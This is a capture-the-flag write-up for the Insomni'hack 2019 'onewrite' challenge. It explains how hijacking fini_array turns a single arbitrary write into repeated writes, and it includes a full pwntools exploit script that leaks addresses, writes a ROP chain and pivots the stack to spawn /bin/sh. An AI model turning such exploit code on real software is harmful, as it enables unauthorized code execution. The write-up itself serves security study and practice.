# Insomni'hack teaser 2019
###### tags: `2019 pwn challenge`
## onewrite
### Analysis
```
[!] Did not find any GOT entries
[*] "/mnt/Pwn/writeups/2019/Insomni'hack_teaser_2019/onewrite/onewrite"
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
```
Although the binary is dynamically linked, it looks like it's statically linked.
First, you can choose to leak and PIE address or a stack address. Second, you can write 8 bytes to an abitrary address.
### Strategy
This challenge is similar to pwnable.tw's 3x17 challenge. When the program prepares to exit, the function `__libc_csu_fini` would call `fini_array[1]` and `fini_array[0]`, by writing to this array, we could control the flow of the program.
My initial thought was:
1. leak PIE address
2. overwrite `fini_array[1]` to `do_leak()` so that we can further leak the stack address and overwrite `fini_array[0]`
3. overwrite `fini_array[0]` to `__libc_csu_fini` so that one write becomes **multiple write**
4. Create a ROP chain and get shell
### Exploitation
Now the problem becomes "How to ROP?"
My idea is that, since we can leak the stack address, we can just create the ROP chain in the first stack frame, but how can we return to the first stack frame after calling multiple `__libc_csu_fini` times?
For the last write, I wrote a gadget ` add rsp, 0x278; xor eax, eax; pop rbx; pop rbp; ret` to the return address of `do_overwrite` so that rsp just happens to land in the rop chain, and then we just get shell.
```python=
from pwn import *
#context.log_level = 'DEBUG'
context.terminal = ['tmux','splitw','-h']
p = process('./onewrite')
do_leak_offset = 0x08A15
fini_arr_offset = 0x2ADFB0
libc_csu_fini_offset = 0x09810
do_overwrite_offset = 0x89C3
def debug(bps=[]):
cmd = ''
cmd += ''.join(['b *$rebase({:#x})\n'.format(b) for b in bps])
cmd += 'c'
log.info(cmd)
gdb.attach(p, cmd)
pause()
def write_rop(g, dst):
for gadget in g:
p.recvuntil('> ')
p.sendline(str(2))
p.recvuntil('address : ')
p.send(str(dst))
p.recvuntil('data : ')
p.send(p64(gadget))
dst+=8
p.recvuntil('> ')
p.sendline(str(2)) # pie
elf_base = int(p.recvline()[:-1], 16) - do_leak_offset
do_leak = elf_base + do_leak_offset
libc_csu_fini = elf_base + libc_csu_fini_offset
do_overwrite = elf_base + do_overwrite_offset
log.info(hex(elf_base))
# Overwrite fini_arr[1] to do_leak()
fini_arr = elf_base + fini_arr_offset
p.recvuntil('address : ')
p.send(str(fini_arr+8))
p.recvuntil('data : ')
p.send(p64(do_leak))
# Leak stack pointer
p.recvuntil('> ')
p.sendline(str(1)) # stack
ret_addr = int(p.recvline()[:-1], 16) + 0x18
log.info('ret addr = ' + hex(ret_addr))
# Overwrite fini_arr[0] to libc_csu_fini
p.recvuntil('address : ')
p.send(str(fini_arr))
p.recvuntil('data : ')
p.send(p64(libc_csu_fini))
# Now we can start to write ROP
bss = elf_base + 0x02B3350
syscall = elf_base + 0x006e605
xor_rax = elf_base + 0x041360
pop_rdi = elf_base + 0x0084fa
pop_rsi = elf_base + 0x00d9f2
pop_rdx = elf_base + 0x484c5
pop_rax = elf_base + 0x460ac
ret = elf_base + 0x8076
add_rsp_ret = elf_base + 0x00847c0 # add rsp, 0x278; xor eax, eax; pop rbx; pop rbp; ret;
g = []
# read /bin/sh
for i in range(1):
g.append(ret)
g.append(xor_rax)
g.append(pop_rdi)
g.append(0)
g.append(pop_rsi)
g.append(bss)
g.append(pop_rdx)
g.append(8)
g.append(syscall)
# execve(/bin/sh)
g.append(pop_rax)
g.append(59)
g.append(pop_rdi)
g.append(bss)
g.append(pop_rsi)
g.append(bss+0x20) # should point to null
g.append(pop_rdx)
g.append(bss+0x20)
g.append(syscall)
write_rop(g, ret_addr)
#debug([0x460ac])
p.recvuntil('> ')
p.sendline(str(1))
ret_addr2 = int(p.recvline()[:-1], 16) + 0x18 - 0x20
log.info('second ret addr = ' + hex(ret_addr2))
log.info('distance ' + hex(ret_addr - (ret_addr2+8)))
p.recvuntil('address : ')
p.send(str(ret_addr2))
p.recvuntil('data : ')
p.send(p64(add_rsp_ret))
p.send('/bin/sh\x00')
p.interactive()
```